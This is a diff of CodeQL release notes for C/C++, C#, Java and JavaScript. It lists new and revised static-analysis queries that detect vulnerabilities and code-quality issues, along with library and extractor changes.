mirror of
https://github.com/github/codeql.git
synced 2025-12-16 16:53:25 +01:00
Merge rc/1.19 into next.
This commit is contained in:
@@ -1,50 +1,53 @@
|
||||
# Improvements to C/C++ analysis
|
||||
|
||||
## General improvements
|
||||
|
||||
## New queries
|
||||
|
||||
| **Query** | **Tags** | **Purpose** |
|
||||
|-----------------------------|-----------|--------------------------------------------------------------------|
|
||||
| Cast between `HRESULT` and a Boolean type (`cpp/hresult-boolean-conversion`) | security, external/cwe/cwe-253 | Finds logic errors caused by mistakenly treating the Windows `HRESULT` type as a Boolean instead of testing it with the appropriate macros. Enabled by default. |
|
||||
| Setting a DACL to `NULL` in a `SECURITY_DESCRIPTOR` (`cpp/unsafe-dacl-security-descriptor`) | security, external/cwe/cwe-732 | This query finds code that creates world-writable objects on Windows by setting their DACL to `NULL`. Enabled by default. |
|
||||
| Cast from `char*` to `wchar_t*` | security, external/cwe/cwe-704 | Detects potentially dangerous casts from `char*` to `wchar_t*`. Enabled by default on LGTM. |
|
||||
| Dead code due to `goto` or `break` statement (`cpp/dead-code-goto`) | maintainability, external/cwe/cwe-561 | Detects dead code following a `goto` or `break` statement. Enabled by default on LGTM. |
|
||||
| Inconsistent direction of for loop | correctness, external/cwe/cwe-835 | This query detects `for` loops where the increment and guard condition don't appear to correspond. Enabled by default on LGTM. |
|
||||
| Incorrect Not Operator Usage | security, external/cwe/cwe-480 | This query finds uses of the logical not (`!`) operator that look like they should be bit-wise not (`~`). Available but not displayed by default on LGTM. |
|
||||
| NULL application name with an unquoted path in call to CreateProcess | security, external/cwe/cwe-428 | This query finds unsafe uses of the `CreateProcess` function. Available but not displayed by default on LGTM. |
|
||||
| Cast between `HRESULT` and a Boolean type (`cpp/hresult-boolean-conversion`) | security, external/cwe/cwe-253 | Finds logic errors caused by mistakenly treating the Windows `HRESULT` type as a Boolean instead of testing it with the appropriate macros. Results are shown on LGTM by default. |
|
||||
| Cast from `char*` to `wchar_t*` (`cpp/incorrect-string-type-conversion`) | security, external/cwe/cwe-704 | Detects potentially dangerous casts from `char*` to `wchar_t*`. Results are shown on LGTM by default. |
|
||||
| Dead code due to `goto` or `break` statement (`cpp/dead-code-goto`) | maintainability, external/cwe/cwe-561 | Detects dead code following a `goto` or `break` statement. Results are shown on LGTM by default. |
|
||||
| Inconsistent direction of for loop (`cpp/inconsistent-loop-direction`) | correctness, external/cwe/cwe-835 | Detects `for` loops where the increment and guard condition don't appear to correspond. Results are shown on LGTM by default. |
|
||||
| Incorrect Not Operator Usage (`cpp/incorrect-not-operator-usage`) | security, external/cwe/cwe-480 | Finds uses of the logical not (`!`) operator that look like they should be bit-wise not (`~`). Results are hidden on LGTM by default. |
|
||||
| Non-virtual destructor in base class (`cpp/virtual-destructor`) | reliability, readability, language-features | This query, `NonVirtualDestructorInBaseClass.ql`, is a replacement in LGTM for the query: No virtual destructor (`AV Rule 78.ql`). The new query ignores base classes with non-public destructors since we consider those to be adequately protected. The new version retains the query identifier, `cpp/virtual-destructor`, and results are displayed by default on LGTM. The old query is no longer run on LGTM. |
|
||||
| `NULL` application name with an unquoted path in call to `CreateProcess` (`cpp/unsafe-create-process-call`) | security, external/cwe/cwe-428 | Finds unsafe uses of the `CreateProcess` function. Results are hidden on LGTM by default. |
|
||||
| Setting a DACL to `NULL` in a `SECURITY_DESCRIPTOR` (`cpp/unsafe-dacl-security-descriptor`) | security, external/cwe/cwe-732 | Finds code that creates world-writable objects on Windows by setting their DACL to `NULL`. Results are shown on LGTM by default. |
|
||||
|
||||
## Changes to existing queries
|
||||
## Changes to existing LGTM queries
|
||||
|
||||
| **Query** | **Expected impact** | **Change** |
|
||||
|----------------------------|------------------------|------------------------------------------------------------------|
|
||||
| Array offset used before range check | More results and fewer false positive results | The query now recognizes array accesses in different positions within the expression. False positives where the range is checked before and after the array access have been fixed. |
|
||||
| Empty branch of conditional | Fewer false positive results | The query now recognizes commented blocks more reliably. |
|
||||
| Expression has no effect | Fewer false positive results | Expressions in template instantiations are now excluded from this query. |
|
||||
| Global could be static | Fewer false positive results | Variables with declarations in header files are now excluded from this query. |
|
||||
| Resource not released in destructor | Fewer false positive results | Placement new is now excluded from the query. Also fixed an issue where false positives could occur if the destructor body was not in the snapshot. |
|
||||
| Memory is never freed | Fewer false positive results | This query now accounts for C++ _placement new_, which returns a pointer that does not need to be freed. |
|
||||
| Missing return statement (`cpp/missing-return`) | Visible by default | The precision of this query has been increased from 'medium' to 'high', which makes it visible by default in LGTM. It was 'medium' in release 1.17 and 1.18 because it had false positives due to an extractor bug that was fixed in 1.18. |
|
||||
| Missing return statement | Fewer false positive results | The query is now produces correct results when a function returns a template-dependent type, or makes a non-returning call to another function. |
|
||||
| Comparison result is always the same (`cpp/constant-comparison`) | Fewer false positive results | Comparisons in template instantiations are now excluded from results. |
|
||||
| Empty branch of conditional (`cpp/empty-block`) | Fewer false positive results | Now recognizes commented blocks more reliably. |
|
||||
| Expression has no effect (`cpp/useless-expression`) | Fewer false positive results | Expressions in template instantiations are now excluded from results. |
|
||||
| Missing return statement (`cpp/missing-return`) | Fewer false positive results, visible by default | Improved results when a function returns a template-dependent type, or makes a non-returning call to another function. Precision increased from 'medium' to 'high' so that alerts are shown by default in LGTM. |
|
||||
| Multiplication result converted to larger type (`cpp/integer-multiplication-cast-to-long`) | Fewer false positive results | Char-typed numbers are no longer considered to be potentially large. |
|
||||
| Non-virtual destructor in base class (`cpp/virtual-destructor`) | Fewer false positive results | This query was copied from file `AV Rule 78.ql` to `NonVirtualDestructorInBaseClass.ql` and renamed from "No virtual destructor" to "Non-virtual destructor in base class". The new version ignores base classes with non-public destructors since we consider those to be adequately protected. The new version retains the query id `cpp/virtual-destructor` and is displayed by default on LGTM, while `AV Rule 78.ql` is not run on LGTM. |
|
||||
| Overloaded assignment does not return 'this' (`cpp/assignment-does-not-return-this`) | Fewer false positive results | This query now ignores any return statements that are unreachable. |
|
||||
| Static array access may cause overflow | More correct results | Data flow to the size argument of a buffer operation is now checked in this query. |
|
||||
| Call to memory access function may overflow buffer | More correct results | Array indexing with a negative index is now detected by this query. |
|
||||
| Self comparison | Fewer false positive results | Code inside macro invocations is now excluded from the query. |
|
||||
| Suspicious call to memset | Fewer false positive results | Types involving decltype are now correctly compared. |
|
||||
| Suspicious add with sizeof | Fewer false positive results | Arithmetic with void pointers (where allowed) is now excluded from this query. |
|
||||
| Wrong type of arguments to formatting function | Fewer false positive results | False positive results involving typedefs have been removed. Expected argument types are determined more accurately, especially for wide string and pointer types. Custom (non-standard) formatting functions are also identified more accurately. |
|
||||
| AV Rule 164 | Fewer false positive results | This query now accounts for explicit casts. |
|
||||
| Negation of unsigned value | Fewer false positive results | This query now accounts for explicit casts. |
|
||||
| Variable scope too large | Fewer false positive results | Variables with declarations in header files, or that are used at file scope, are now excluded from this query. |
|
||||
| Comparison result is always the same | Fewer false positive results | Comparisons in template instantiations are now excluded from this query. |
|
||||
| Unsigned comparison to zero | Fewer false positive results | Comparisons in template instantiations are now excluded from this query. |
|
||||
| No virtual destructor (`cpp/jsf/av-rule-78`) | No results in LGTM | This query is part of the [Joint Strike Fighter](http://www.stroustrup.com/JSF-AV-rules.pdf) suite which defines strict coding rules for air vehicles. Its query identifier has been revised to reflect this. On LGTM this query has been replaced by the similar query "Non-virtual destructor in base class", see New queries above. The new query highlights only code that is likely to be a problem in the majority of projects. |
|
||||
| Overloaded assignment does not return 'this' (`cpp/assignment-does-not-return-this`) | Fewer false positive results | Any return statements that are unreachable are now ignored. |
|
||||
| Resource not released in destructor (`cpp/resource-not-released-in-destructor`) | Fewer false positive results | No longer highlights uses of C++ _placement new_ and results are no longer reported for resources where the destructor body is not in the snapshot database. |
|
||||
| Self comparison (`cpp/comparison-of-identical-expressions`) | Fewer false positive results | Code inside macro invocations is now excluded from the query. |
|
||||
| Static array access may cause overflow (`cpp/static-buffer-overflow`) | More correct results | Data flow to the `size` argument of a buffer operation is now checked in this query. |
|
||||
| Suspicious add with sizeof (`cpp/suspicious-add-sizeof`) | Fewer false positive results | Arithmetic with void pointers (where allowed) is now excluded from results. |
|
||||
| Unsigned comparison to zero (`cpp/unsigned-comparison-zero`) | Fewer false positive results | Comparisons in template instantiations are now excluded from results. |
|
||||
| Wrong type of arguments to formatting function (`cpp/wrong-type-format-argument`) | Fewer false positive results | False positive results involving `typedef`s have been removed. Expected argument types are determined more accurately, especially for wide string and pointer types. Custom (non-standard) formatting functions are also identified more accurately. |
|
||||
|
||||
## Changes to other queries
|
||||
|
||||
| **Query** | **Expected impact** | **Change** |
|
||||
|----------------------------|------------------------|------------------------------------------------------------------|
|
||||
| Array offset used before range check (`cpp/offset-use-before-range-check`) | More results and fewer false positive results | Now recognizes array accesses in different positions within the expression. Code where the range is checked before and after the array access is no longer highlighted. |
|
||||
| AV Rule 164 (`cpp/jsf/av-rule-164`) | Fewer false positive results | Now accounts for explicit casts. |
|
||||
| Call to memory access function may overflow buffer (`cpp/overflow-buffer`) | More correct results | Array indexing with a negative index is now detected by this query. |
|
||||
| Global could be static (`cpp/jpl-c/limited-scope-file` and `cpp/power-of-10/global-could-be-static`)| Fewer false positive results | Variables with declarations in header files are now excluded from results. |
|
||||
| Memory is never freed (`cpp/memory-never-freed`)| Fewer false positive results | No longer highlights uses of C++ _placement new_, which returns a pointer that does not need to be freed. |
|
||||
| Negation of unsigned value (`cpp/jsf/av-rule-165`) | Fewer false positive results | Now accounts for explicit casts. |
|
||||
| Suspicious call to memset (`cpp/suspicious-call-to-memset`) | Fewer false positive results | Types involving `decltype` are now correctly compared. |
|
||||
| Variable scope too large (`cpp/jpl-c/limited-scope-function` and `cpp/power-of-10/variable-scope-too-large`) | Fewer false positive results | Variables with declarations in header files, or that are used at file scope, are now excluded from results. |
|
||||
|
||||
## Changes to QL libraries
|
||||
|
||||
* Added a hash consing library (`semmle.code.cpp.valuenumbering.HashCons`) for structural comparison of expressions. Unlike the existing library for global value numbering, this library implements a pure syntactic comparison of expressions and will equate expressions even if they may not compute the same value.
|
||||
* The `Buffer.qll` library has more conservative treatment of arrays embedded in structs. This reduces false positives in a number of security queries, especially `cpp/overflow-buffer`.
|
||||
* New hash consing library (`semmle.code.cpp.valuenumbering.HashCons`) for structural comparison of expressions. Unlike the existing library for global value numbering, this library implements a pure syntactic comparison of expressions and will equate expressions even if they may not compute the same value.
|
||||
* The `Buffer.qll` library has more conservative treatment of arrays embedded in structs. This reduces false positive results in a number of security queries, especially `cpp/overflow-buffer`.
|
||||
* Pre-C99 encodings of _flexible array members_ are recognized more reliably.
|
||||
* Arrays of zero size are now treated as a special case.
|
||||
* The library `semmle.code.cpp.dataflow.RecursionPrevention` is now deprecated. It was an aid for transitioning data-flow queries from 1.16 to 1.17, and it no longer has any function. Imports of this library should simply be deleted.
|
||||
|
||||
@@ -2,35 +2,43 @@
|
||||
|
||||
## General improvements
|
||||
|
||||
* Control flow graph improvements:
|
||||
* The control flow graph construction now takes simple Boolean conditions on local scope variables into account. For example, in `if (b) x = 0; if (b) x = 1;`, the control flow graph will reflect that taking the `true` (resp. `false`) branch in the first condition implies taking the same branch in the second condition. In effect, the first assignment to `x` will now be identified as being dead.
|
||||
### Changes to the autobuilder
|
||||
|
||||
During code extraction, when determining the target of `msbuild` or `dotnet build`, the autobuilder now looks for:
|
||||
|
||||
* `.proj` files,
|
||||
* then `.sln` files,
|
||||
* and finally `.csproj`/`.vcxproj` files.
|
||||
|
||||
In all three cases, when multiple files of the same type are found, the project/solution file closest to the root is used to build the project.
|
||||
|
||||
### Control flow graph improvements
|
||||
|
||||
* The control flow graph construction now takes simple Boolean conditions on local scope variables into account. For example, in `if (b) x = 0; if (b) x = 1;`, the control flow graph will reflect the fact that taking the `true` (resp. `false`) branch in the first condition implies taking the same branch in the second condition. In effect, the first assignment to `x` will now be identified as being dead.
|
||||
* Code that is only reachable from a constant failing assertion, such as `Debug.Assert(false)`, is considered to be unreachable.
|
||||
|
||||
## New queries
|
||||
|
||||
| **Query** | **Tags** | **Purpose** |
|
||||
|-----------------------------|-----------|--------------------------------------------------------------------|
|
||||
| Using a package with a known vulnerability (cs/use-of-vulnerable-package) | security, external/cwe/cwe-937 | Finds project build files that import packages with known vulnerabilities. This is included by default. |
|
||||
| Uncontrolled format string (cs/uncontrolled-format-string) | security, external/cwe/cwe-134 | Finds data flow from remote inputs to the format string in `String.Format`. This is included by default. |
|
||||
| Uncontrolled format string (`cs/uncontrolled-format-string`) | security, external/cwe/cwe-134 | Finds data flow from remote inputs to the format string in `String.Format`. Results are shown on LGTM by default. |
|
||||
| Using a package with a known vulnerability (`cs/use-of-vulnerable-package`) | security, external/cwe/cwe-937 | Finds project build files that import packages with known vulnerabilities. Results are shown on LGTM by default. |
|
||||
|
||||
## Changes to existing queries
|
||||
|
||||
| Inconsistent lock sequence (`cs/inconsistent-lock-sequence`) | More results | This query now finds inconsistent lock sequences globally across calls. |
|
||||
| **Query** | **Expected impact** | **Change** |
|
||||
|----------------------------|------------------------|------------------------------------------------------------------|
|
||||
| Cross-site scripting (`cs/web/xss`) | More results | Finds cross-site scripting vulnerabilities in ASP.NET Core applications. |
|
||||
| Inconsistent lock sequence (`cs/inconsistent-lock-sequence`) | More results | Finds inconsistent lock sequences globally across calls. |
|
||||
| Local scope variable shadows member (`cs/local-shadows-member`) | Fewer results | Results have been removed where a constructor parameter shadows a member, because the parameter is probably used to initialize the member. |
|
||||
| Cross-site scripting (`cs/web/xss`) | More results | This query now finds cross-site scripting vulnerabilities in ASP.NET Core applications. |
|
||||
| *@name of query (Query ID)*| *Impact on results* | *How/why the query has changed* |
|
||||
|
||||
## Changes to code extraction
|
||||
|
||||
* Arguments passed using `in` are now extracted.
|
||||
* Fix a bug where the `dynamic` type name was not extracted correctly in certain circumstances.
|
||||
* Fixed a bug where the `dynamic` type name was not extracted correctly in certain circumstances.
|
||||
* Fixed a bug where method type signatures were extracted incorrectly in some circumstances.
|
||||
|
||||
## Changes to QL libraries
|
||||
|
||||
* `getArgument()` on `AccessorCall` has been improved so it now takes tuple assignments into account. For example, the argument for the implicit `value` parameter in the setter of property `P` is `0` in `(P, x) = (0, 1)`. Additionally, the argument for the `value` parameter in compound assignments is now only the expanded value, for example, in `P += 7` the argument is `P + 7` and not `7`.
|
||||
* The predicate `isInArgument()` has been added to the `AssignableAccess` class. This holds for expressions that are passed as arguments using `in`.
|
||||
|
||||
## Changes to the autobuilder
|
||||
|
||||
* When determining the target of `msbuild` or `dotnet build`, first look for `.proj` files, then `.sln` files, and finally `.csproj`/`.vcxproj` files. In all three cases, choose the project/solution file closest to the root.
|
||||
* The predicate `isInArgument()` has been added to the `AssignableAccess` class. This holds for expressions that are passed as arguments using `in`
|
||||
|
||||
@@ -2,24 +2,26 @@
|
||||
|
||||
## General improvements
|
||||
|
||||
* Where applicable, path explanations have been added to the security queries.
|
||||
Path explanations have been added to the relevant security queries.
|
||||
Use [QL for Eclipse](https://help.semmle.com/ql-for-eclipse/Content/WebHelp/getting-started.html)
|
||||
to run queries and explore the data flow in results.
|
||||
|
||||
## New queries
|
||||
|
||||
| **Query** | **Tags** | **Purpose** |
|
||||
|-----------------------------|-----------|--------------------------------------------------------------------|
|
||||
| Arbitrary file write during archive extraction ("Zip Slip") (`java/zipslip`) | security, external/cwe/cwe-022 | Identifies extraction routines that allow arbitrary file overwrite vulnerabilities. |
|
||||
| Missing catch of NumberFormatException (`java/uncaught-number-format-exception`) | reliability, external/cwe/cwe-248 | Finds calls to `Integer.parseInt` and similar string-to-number conversions that might raise a `NumberFormatException` without a corresponding `catch`-clause. |
|
||||
| Arbitrary file write during archive extraction ("Zip Slip") (`java/zipslip`) | security, external/cwe/cwe-022 | Identifies extraction routines that allow arbitrary file overwrite vulnerabilities. Results are shown on LGTM by default. |
|
||||
| Missing catch of NumberFormatException (`java/uncaught-number-format-exception`) | reliability, external/cwe/cwe-248 | Finds calls to `Integer.parseInt` and similar string-to-number conversions that might raise a `NumberFormatException` without a corresponding `catch`-clause. Results are hidden on LGTM by default. |
|
||||
|
||||
## Changes to existing queries
|
||||
|
||||
| **Query** | **Expected impact** | **Change** |
|
||||
|----------------------------|------------------------|------------------------------------------------------------------|
|
||||
| Array index out of bounds (`java/index-out-of-bounds`) | Fewer false positive results | False positives involving arrays with a length evenly divisible by 3 or some greater number and an index being increased with a similar stride length are no longer reported. |
|
||||
| Confusing overloading of methods (`java/confusing-method-signature`) | Fewer false positive results | A bugfix in the inheritance relation ensures that spurious results on certain generic classes no longer occur. |
|
||||
| Query built from user-controlled sources (`java/sql-injection`) | More results | Sql injection sinks from the Spring JDBC, MyBatis, and Hibernate frameworks are now reported. |
|
||||
| Query built without neutralizing special characters (`java/concatenated-sql-query`) | More results | Sql injection sinks from the Spring JDBC, MyBatis, and Hibernate frameworks are now reported. |
|
||||
| Unreachable catch clause (`java/unreachable-catch-clause`) | Fewer false positive results | This rule now accounts for calls to generic methods that throw generic exceptions. |
|
||||
| Array index out of bounds (`java/index-out-of-bounds`) | Fewer false positive results | Results for arrays with a length evenly divisible by 3, or some greater number, and an index being increased with a similar stride length are no longer reported. |
|
||||
| Confusing overloading of methods (`java/confusing-method-signature`) | Fewer false positive results | A correction to the inheritance relation ensures that spurious results on certain generic classes no longer occur. |
|
||||
| Query built from user-controlled sources (`java/sql-injection`) | More results | SQL injection sinks from the Spring JDBC, MyBatis, and Hibernate frameworks are now reported. |
|
||||
| Query built without neutralizing special characters (`java/concatenated-sql-query`) | More results | SQL injection sinks from the Spring JDBC, MyBatis, and Hibernate frameworks are now reported. |
|
||||
| Unreachable catch clause (`java/unreachable-catch-clause`) | Fewer false positive results | Now accounts for calls to generic methods that throw generic exceptions. |
|
||||
| Useless comparison test (`java/constant-comparison`) | Fewer false positive results | Constant comparisons guarding `java.util.ConcurrentModificationException` are no longer reported, as they are intended to always be false in the absence of API misuse. |
|
||||
|
||||
## Changes to QL libraries
|
||||
@@ -27,6 +29,6 @@
|
||||
* The default set of taint sources in the `FlowSources` library is extended to
|
||||
cover parameters annotated with Spring framework annotations indicating
|
||||
remote user input from servlets. This affects all security queries, which
|
||||
will yield additional results on projects using the Spring Web framework.
|
||||
will yield additional results on projects that use the Spring Web framework.
|
||||
* The `ParityAnalysis` library is replaced with the more general `ModulusAnalysis` library, which improves the range analysis.
|
||||
|
||||
|
||||
@@ -4,74 +4,79 @@
|
||||
|
||||
* Modeling of taint flow through array and buffer operations has been improved. This may give additional results for the security queries.
|
||||
|
||||
* Support for AMD modules has been improved. This may give additional results for the security queries as well as any queries that use type inference on code bases that use such modules.
|
||||
* Support for AMD modules has been improved. This may give additional results for the security queries, as well as any queries that use type inference on code bases that use such modules.
|
||||
|
||||
* Support for popular libraries has been improved. Consequently, queries may produce more results on code bases that use the following features:
|
||||
- file system access, for example through [fs-extra](https://github.com/jprichardson/node-fs-extra) or [globby](https://www.npmjs.com/package/globby)
|
||||
- outbound network access, for example through the [fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)
|
||||
- the [lodash](https://lodash.com), [underscore](https://underscorejs.org/), [async](https://www.npmjs.com/package/async) and [async-es](https://www.npmjs.com/package/async-es) libraries
|
||||
- File system access, for example, through [fs-extra](https://github.com/jprichardson/node-fs-extra) or [globby](https://www.npmjs.com/package/globby)
|
||||
- Outbound network access, for example, through the [fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)
|
||||
- The [lodash](https://lodash.com), [underscore](https://underscorejs.org/), [async](https://www.npmjs.com/package/async) and [async-es](https://www.npmjs.com/package/async-es) libraries
|
||||
|
||||
* The taint tracking library now recognizes additional sanitization patterns. This may give fewer false-positive results for the security queries.
|
||||
|
||||
* Type inference for function calls has been improved. This may give additional results for queries that rely on type inference.
|
||||
|
||||
* Where applicable, path explanations have been added to the security queries.
|
||||
* Path explanations have been added to the relevant security queries.
|
||||
Use [QL for Eclipse](https://help.semmle.com/ql-for-eclipse/Content/WebHelp/getting-started.html)
|
||||
to run queries and explore the data flow in results.
|
||||
|
||||
## New queries
|
||||
## New LGTM queries
|
||||
|
||||
| **Query** | **Tags** | **Purpose** |
|
||||
|-----------------------------------------------|------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| Enabling Node.js integration for Electron web content renderers (`js/enabling-electron-renderer-node-integration`) | security, frameworks/electron, external/cwe/cwe-094 | Highlights Electron web content renderer preferences with Node.js integration enabled, indicating a violation of [CWE-94](https://cwe.mitre.org/data/definitions/94.html). Results are not shown on LGTM by default. |
|
||||
| File data in outbound network request | security, external/cwe/cwe-200 | Highlights locations where file data is sent in a network request. Results are not shown on LGTM by default. |
|
||||
| Hard-coded data interpreted as code | security, external/cwe/cwe-506 | Highlights locations where hard-coded data is transformed and then executed as code or interpreted as an import path, which may indicate embedded malicious code ([CWE-506](https://cwe.mitre.org/data/definitions/506.html)). Results are shown on LGTM by default. |
|
||||
| Host header poisoning in email generation | security, external/cwe/cwe-640 | Highlights code that generates emails with links that can be hijacked by HTTP host header poisoning, indicating a violation of [CWE-640](https://cwe.mitre.org/data/definitions/640.html). Results shown on LGTM by default. |
|
||||
| Hard-coded data interpreted as code (`js/hardcoded-data-interpreted-as-code`) | security, external/cwe/cwe-506 | Highlights locations where hard-coded data is transformed and then executed as code or interpreted as an import path, which may indicate embedded malicious code ([CWE-506](https://cwe.mitre.org/data/definitions/506.html)). Results are hidden on LGTM by default. |
|
||||
| Host header poisoning in email generation (`js/host-header-forgery-in-email-generation`)| security, external/cwe/cwe-640 | Highlights code that generates emails with links that can be hijacked by HTTP host header poisoning, indicating a potential violation of [CWE-640](https://cwe.mitre.org/data/definitions/640.html). Results shown on LGTM by default. |
|
||||
| Replacement of a substring with itself (`js/identity-replacement`) | correctness, security, external/cwe/cwe-116 | Highlights string replacements that replace a string with itself, which usually indicates a mistake. Results shown on LGTM by default. |
|
||||
| Stored cross-site scripting (`js/stored-xss`) | security, external/cwe/cwe-079, external/cwe/cwe-116 | Highlights uncontrolled stored values flowing into HTML content, indicating a violation of [CWE-079](https://cwe.mitre.org/data/definitions/79.html). Results shown on LGTM by default. |
|
||||
| Stored cross-site scripting (`js/stored-xss`) | security, external/cwe/cwe-079, external/cwe/cwe-116 | Highlights uncontrolled stored values flowing into HTML content, indicating a potential violation of [CWE-079](https://cwe.mitre.org/data/definitions/79.html). Results shown on LGTM by default. |
|
||||
| Unclear precedence of nested operators (`js/unclear-operator-precedence`) | maintainability, correctness, external/cwe/cwe-783 | Highlights nested binary operators whose relative precedence is easy to misunderstand. Results shown on LGTM by default. |
|
||||
| Unneeded defensive code | correctness, external/cwe/cwe-570, external/cwe/cwe-571 | Highlights locations where defensive code is not needed. Results are shown on LGTM by default. |
|
||||
| Unsafe dynamic method access (`js/unsafe-dynamic-method-access` ) | security, external/cwe/cwe-094 | Highlights code that invokes a user-controlled method on an object with unsafe methods. Results are shown on LGTM by default. |
|
||||
| Unvalidated dynamic method access (`js/unvalidated-dynamic-method-call` ) | security, external/cwe/cwe-754 | Highlights code that invokes a user-controlled method without guarding against exceptional circumstances. Results are shown on LGTM by default. |
|
||||
| Useless assignment to property | maintainability | Highlights property assignments whose value is always overwritten. Results are shown on LGTM by default. |
|
||||
| User-controlled data in file | security, external/cwe/cwe-912 | Highlights locations where user-controlled data is written to a file. Results are not shown on LGTM by default. |
|
||||
| Useless assignment to property (`js/useless-assignment-to-property`) | maintainability | Highlights property assignments whose value is always overwritten. Results are shown on LGTM by default. |
|
||||
|
||||
## Other new queries
|
||||
|
||||
| **Query** | **Tags** | **Purpose** |
|
||||
|-----------------------------------------------|------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| Enabling Node.js integration for Electron web content renderers (`js/enabling-electron-renderer-node-integration`) | security, frameworks/electron, external/cwe/cwe-094 | Highlights Electron web content renderer preferences with Node.js integration enabled, indicating a potential violation of [CWE-94](https://cwe.mitre.org/data/definitions/94.html). |
|
||||
| File data in outbound network request (`js/file-access-to-http`) | security, external/cwe/cwe-200 | Highlights locations where file data is sent in a network request, indicating a potential violation of [CWE-200](https://cwe.mitre.org/data/definitions/200.html). |
|
||||
| User-controlled data written to file (`js/http-to-file-access`) | security, external/cwe/cwe-434, external/cwe/cwe-912 | Highlights locations where user-controlled data is written to a file, indicating a potential violation of [CWE-912](https://cwe.mitre.org/data/definitions/912.html). |
|
||||
|
||||
|
||||
## Changes to existing queries
|
||||
|
||||
| **Query** | **Expected impact** | **Change** |
|
||||
|--------------------------------|----------------------------|----------------------------------------------|
|
||||
| Ambiguous HTML id attribute | Lower severity | The severity of this rule has been revised to "warning". |
|
||||
| Clear-text logging of sensitive information | Fewer results | This rule now tracks flow more precisely. |
|
||||
| Client side cross-site scripting | More results | This rule now also flags HTML injection in the body of an email. |
|
||||
| Client-side URL redirect | Fewer false-positive results | This rule now recognizes safe redirects in more cases. |
|
||||
| Conflicting HTML element attributes | Lower severity | The severity of this rule has been revised to "warning". |
|
||||
| Duplicate 'if' condition | Lower severity | The severity of this rule has been revised to "warning". |
|
||||
| Duplicate switch case | Lower severity | The severity of this rule has been revised to "warning". |
|
||||
| Inconsistent use of 'new' | Simpler result presentation | This rule now only shows one call with `new` and one without. |
|
||||
| Information exposure through a stack trace | More results | This rule now also flags cases where the entire exception object (including the stack trace) may be exposed. |
|
||||
| Missing 'this' qualifier | Fewer false-positive results | This rule now recognizes additional intentional calls to global functions. |
|
||||
| Missing CSRF middleware | Fewer false-positive results | This rule now recognizes additional CSRF protection middlewares. |
|
||||
| Missing variable declaration | Lower severity | The severity of this rule has been revised to "warning". |
|
||||
| Regular expression injection | Fewer false-positive results | This rule now identifies calls to `String.prototype.search` with more precision. |
|
||||
| Remote property injection | Fewer results | The precision of this rule has been revised to "medium". Furthermore, it no longer flags dynamic method calls, which are now handled by two new queries. Results are no longer shown on LGTM by default. |
|
||||
| Self assignment | Fewer false-positive results | This rule now ignores self-assignments preceded by a JSDoc comment with a `@type` tag. |
|
||||
| Server-side URL redirect | Fewer false-positive results | This rule now recognizes safe redirects in more cases. |
|
||||
| Server-side URL redirect | More results | This rule now recognizes redirection calls in more cases. |
|
||||
| Unbound event handler receiver | Fewer false-positive results | This rule now recognizes additional ways class methods can be bound. |
|
||||
| Uncontrolled data used in remote request | More results | This rule now recognizes additional kinds of requests. |
|
||||
| Unknown directive | Fewer false positives results | This rule now recognizes YUI compressor directives. |
|
||||
| Unused import | Fewer false-positive results | This rule no longer flags imports used by the `transform-react-jsx` Babel plugin. |
|
||||
| Unused variable, import, function or class | Fewer false-positive results | This rule now flags fewer variables that may be used by `eval` calls. |
|
||||
| Unused variable, import, function or class | Fewer results | This rule now flags import statements with multiple unused imports once. |
|
||||
| Useless assignment to local variable | Fewer false-positive results | This rule now recognizes additional ways default values can be set. |
|
||||
| Useless conditional | More results, fewer false-positive results | This rule now recognizes conditionals in more cases, but no longer flags certain defensive coding patterns. |
|
||||
| Whitespace contradicts operator precedence | Fewer false-positive results | This rule no longer flags operators with asymmetric whitespace. |
|
||||
| Wrong use of 'this' for static method | More results, fewer false-positive results | This rule now recognizes inherited methods. |
|
||||
| Ambiguous HTML id attribute (`js/duplicate-html-id`) | Lower severity | Severity revised to "warning". |
|
||||
| Clear-text logging of sensitive information (`js/clear-text-logging`) | Fewer results | Query now tracks flow more precisely. |
|
||||
| Client side cross-site scripting (`js/xss`) | More results | HTML injection in the body of an email is also highlighted. |
|
||||
| Client-side URL redirect (`js/client-side-unvalidated-url-redirection`) | Fewer false positive results | Safe redirects recognized in more cases. |
|
||||
| Conflicting HTML element attributes (`js/conflicting-html-attribute`) | Lower severity | Severity revised to "warning". |
|
||||
| Duplicate 'if' condition (`js/duplicate-condition`) | Lower severity | Severity revised to "warning". |
|
||||
| Duplicate switch case (`js/duplicate-switch-case`) | Lower severity | Severity revised to "warning". |
|
||||
| Inconsistent use of 'new' (`js/inconsistent-use-of-new`) | Simpler result presentation | Results show one call with `new` and one without. |
|
||||
| Information exposure through a stack trace (`js/stack-trace-exposure`) | More results | Cases where the entire exception object (including the stack trace) may be exposed are highlighted. |
|
||||
| Missing 'this' qualifier (`js/missing-this-qualifier`) | Fewer false positive results | Additional intentional calls to global functions are recognized. |
|
||||
| Missing CSRF middleware (`js/missing-token-validation`) | Fewer false positive results | Additional types of CSRF protection middleware are recognized. |
|
||||
| Missing variable declaration (`js/missing-variable-declaration`) | Lower severity | Severity revised to "warning". |
|
||||
| Regular expression injection (`js/regex-injection`) | Fewer false positive results | Calls to `String.prototype.search` are identified with more precision. |
|
||||
| Remote property injection (`js/remote-property-injection`) | Fewer results | No longer highlights dynamic method calls, which are now handled by two new queries: `js/unsafe-dynamic-method-access` and `js/unvalidated-dynamic-method-call`. The precision of this rule has been revised to "medium", reflecting the precision of the remaining results. Results are now hidden on LGTM by default. |
|
||||
| Self assignment (`js/redundant-assignment`) | Fewer false positive results | Self-assignments preceded by a JSDoc comment with a `@type` tag are no longer highlighted. |
|
||||
| Server-side URL redirect (`js/server-side-unvalidated-url-redirection`) | More results and fewer false positive results | More redirection calls are identified. More safe redirections are recognized and ignored. |
|
||||
| Unbound event handler receiver (`js/unbound-event-handler-receiver`) | Fewer false positive results | Additional ways that class methods can be bound are recognized. |
|
||||
| Uncontrolled data used in network request (`js/request-forgery`) | More results | Additional kinds of requests are identified. |
|
||||
| Unknown directive (`js/unknown-directive`) | Fewer false positives results | YUI compressor directives are now recognized. |
|
||||
| Unused variable, import, function or class (`js/unused-local-variable`) | Fewer false positive results and fewer results | Imports used by the `transform-react-jsx` Babel plugin and fewer variables that may be used by `eval` calls are highlighted. Only one result is reported for an import statement with multiple unused imports. |
|
||||
